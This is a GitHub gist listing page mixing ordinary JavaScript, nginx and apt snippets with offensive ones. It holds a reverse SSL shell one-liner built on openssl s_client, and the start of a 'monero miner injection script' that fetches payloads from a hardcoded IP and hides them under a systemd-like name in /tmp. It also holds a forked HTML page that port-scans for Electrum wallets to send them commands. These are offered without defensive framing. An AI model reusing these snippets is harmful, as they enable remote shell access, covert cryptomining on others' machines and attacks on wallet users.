Skip to content

Instantly share code, notes, and snippets.

View omartrigui's full-sized avatar
🚀
Building the future, one commit at a time

Omar Trigui omartrigui

🚀
Building the future, one commit at a time
View GitHub Profile
@omartrigui
omartrigui / async-await-loop.js
Created March 1, 2018 12:55
Looping with async/await
(async() => {
for (let param of params) {
try {
let result = await asyncFunction(param);
console.log(result);
} catch (error) {
console.error(error);
}
}
})();
@omartrigui
omartrigui / expose-local-public.txt
Last active February 16, 2018 18:59
Bind local port to remote port with SSH
# Server
sudo echo -e "Match User username\n GatewayPorts yes" >> /etc/ssh/sshd_config
service ssh restart
# Client
ssh -i ~/path/private/key -R 9876:localhost:8000 -N [email protected]
@omartrigui
omartrigui / reverse-ssl-shell.sh
Created February 12, 2018 00:10
Reverse SSL shell - openssl
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <HOST>:<PORT> > /tmp/s; rm /tmp/s
@omartrigui
omartrigui / nginx-multiple-if.conf
Created February 6, 2018 19:57 — forked from Coopeh/nginx-multiple-if.conf
How to use multiple if statements in Nginx
set $posting 0; # Make sure to declare it first to stop any warnings
if ($request_method = POST) { # Check if request method is POST
set $posting N; # Initially set the $posting variable as N
}
if ($geoip_country_code ~ (BR|CN|KR|RU|UA) ) { # Here we're using the Nginx GeoIP module to block some spammy countries
set $posting "${posting}O"; # Set the $posting variable to itself plus the letter O
}
@omartrigui
omartrigui / inject.sh
Last active September 27, 2020 21:15
Linux monero miner injection script
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
HOST=191.101.180.74
CALLBACK=$HOST
# DOWNLOADER="curl "
DOWNLOADER="wget -q -O - "
LFILE_NAME="hp_systemd"
# LFILE_PATH=`pwd`/$LFILE_NAME
LFILE_PATH=/tmp/$LFILE_NAME
DEFAULT_RFILE=$HOST/files/hpl64
OTHERS_RFILE=$HOST/files/hpl32
@omartrigui
omartrigui / elasticsearch-example.js
Created January 26, 2018 06:13 — forked from StephanHoyer/elasticsearch-example.js
Simple example how to use elastic search with node.js
'use strict';
var elasticsearch = require('elasticsearch');
var Promise = require('bluebird');
var log = console.log.bind(console);
var client = new elasticsearch.Client({
host: 'localhost:9200',
log: 'trace'
@omartrigui
omartrigui / electrum.html
Created January 17, 2018 02:49 — forked from fransr/electrum.html
Simple port-scan using embed+onerror in Safari to send gui-commands to Electrum 3.0.4 without the need of any CORS-headers
<body>
<style>pre { white-space: inherit }</style>
<pre id="log"></pre>
<div id="ports" style="visibility: hidden; height: 0; width: 0;"></div>
<iframe src="about:blank" name="x" id="x" style="display: none;"></iframe>
</body>
<script>
var electrum = {
logbreak: function() { e = document.createElement('br'); document.getElementById('log').appendChild(e); },
log: function(s) { e = document.createElement('span'); e.innerText = s+" "; document.getElementById('log').appendChild(e); },
@omartrigui
omartrigui / async-await.js
Created January 9, 2018 18:46
Async/Await
function getCoffee() {
return new Promise(resolve => {
setTimeout(() => resolve('xDD'), 2000);
});
}
async function go() {
const coffee = await getCoffee();
console.log(coffee);
}
@omartrigui
omartrigui / dump-issues.sh
Created January 9, 2018 18:33
Dump organization's GitHub issues
#!/bin/bash
curl -i "https://api.github.com/repos/organization/repository/issues" -u "username"
@omartrigui
omartrigui / fix-apt-get-update.sh
Created December 28, 2017 07:04
Fix apt-get update
sudo rm -rf /var/lib/apt/lists/*
sudo apt-get update
$ sudo rm -R /var/lib/apt/lists/partial/*
$ sudo apt-get update